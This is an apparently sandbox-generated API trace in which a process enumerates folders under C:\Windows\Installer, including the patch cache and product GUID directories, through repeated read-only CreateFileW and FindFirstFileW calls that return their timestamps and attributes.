	[0086.907] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109E60090400100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc20a59a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.907] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109E60090400100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109e60090400100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.907] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109E60090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc20a59a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc25da9c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25da9c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.912] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F10090400100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109f10090400100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.912] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F10090400100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1fd3600, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa22cd180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa22cd180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.912] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F10090400100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109f10090400100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.912] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F10090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1fd3600, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa225ad60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa225ad60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.916] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100A0C00100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109f100a0c00100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.916] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100A0C00100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa6d30100, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa7323800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa7323800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.916] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100A0C00100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109f100a0c00100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.916] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100A0C00100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa6d30100, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.920] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100C0400100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109f100c0400100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.920] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100C0400100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3e52fe0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa4c28fc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4c28fc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.920] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100C0400100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109f100c0400100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.920] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100C0400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3e52fe0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa4b90a40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4b90a40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.924] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119110000000100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004119110000000100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.924] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119110000000100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x70c9f7b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.925] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119110000000100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004119110000000100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.925] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119110000000100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x70c9f7b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.953] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119750000000100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004119750000000100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.954] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119750000000100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x854dc420, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec6c14e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec6c14e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.954] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119750000000100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004119750000000100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.954] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119750000000100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x854dc420, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec32f3e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.008] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119B30000000100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004119b30000000100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.008] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119B30000000100000000F01FEC\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbf36c820, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xe60ff8e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe60ff8e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.009] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119B30000000100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004119b30000000100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.009] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004119B30000000100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbf36c820, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.056] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1926E8D15D0BCE53481466615F760A7F" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\1926e8d15d0bce53481466615f760a7f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.056] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1926E8D15D0BCE53481466615F760A7F\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd2429ac0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd2429ac0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd2429ac0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.057] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1926E8D15D0BCE53481466615F760A7F\\10.0.40219" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\1926e8d15d0bce53481466615f760a7f\\10.0.40219"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.057] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1926E8D15D0BCE53481466615F760A7F\\10.0.40219\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd2429ac0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd28a0400, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd28a0400, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.066] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1D5E3C0FEDA1E123187686FED06E995A" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\1d5e3c0feda1e123187686fed06e995a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.066] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1D5E3C0FEDA1E123187686FED06E995A\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcc295340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc295340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc295340, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.066] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1D5E3C0FEDA1E123187686FED06E995A\\10.0.40219" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\1d5e3c0feda1e123187686fed06e995a\\10.0.40219"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.066] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\1D5E3C0FEDA1E123187686FED06E995A\\10.0.40219\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcc295340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc64d5a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc64d5a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.073] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\c1c4f01781cc94c4c8fb1542c0981a2a" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\c1c4f01781cc94c4c8fb1542c0981a2a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.073] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\c1c4f01781cc94c4c8fb1542c0981a2a\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xec69b380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec69b380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec69b380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.074] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\c1c4f01781cc94c4c8fb1542c0981a2a\\8.0.61001" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\c1c4f01781cc94c4c8fb1542c0981a2a\\8.0.61001"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.074] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\c1c4f01781cc94c4c8fb1542c0981a2a\\8.0.61001\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xec69b380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec69b380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec69b380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.092] CreateFileW (lpFileName="C:\\Windows\\Installer\\{90140000-0043-0000-1000-0000000FF1CE}" (normalized: "c:\\windows\\installer\\{90140000-0043-0000-1000-0000000ff1ce}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.092] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\{90140000-0043-0000-1000-0000000FF1CE}\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b4fd5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2b4fd5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b4fd5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.092] CreateFileW (lpFileName="C:\\Windows\\Installer\\{90140000-006E-0409-1000-0000000FF1CE}" (normalized: "c:\\windows\\installer\\{90140000-006e-0409-1000-0000000ff1ce}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.093] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\{90140000-006E-0409-1000-0000000FF1CE}\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2600b20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.093] CreateFileW (lpFileName="C:\\Windows\\Installer\\{91140000-0011-0000-1000-0000000FF1CE}" (normalized: "c:\\windows\\installer\\{91140000-0011-0000-1000-0000000ff1ce}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.093] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\{91140000-0011-0000-1000-0000000FF1CE}\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77dd6e10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9c4233d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c4233d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.105] CreateFileW (lpFileName="C:\\Windows\\Installer\\{91140000-003B-0000-1000-0000000FF1CE}" (normalized: "c:\\windows\\installer\\{91140000-003b-0000-1000-0000000ff1ce}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.105] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\{91140000-003B-0000-1000-0000000FF1CE}\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc112db20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xe6ce66e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe6ce66e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.109] CreateFileW (lpFileName="C:\\Windows\\Installer\\{91140000-0057-0000-1000-0000000FF1CE}" (normalized: "c:\\windows\\installer\\{91140000-0057-0000-1000-0000000ff1ce}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.109] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\{91140000-0057-0000-1000-0000000FF1CE}\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86fefe60, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xed1c3aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xed1c3aa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.111] CreateFileW (lpFileName="C:\\Windows\\Installer\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" (normalized: "c:\\windows\\installer\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.111] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83b8f440, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8788e800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8788e800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.114] CreateFileW (lpFileName="C:\\Windows\\L2Schemas" (normalized: "c:\\windows\\l2schemas"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
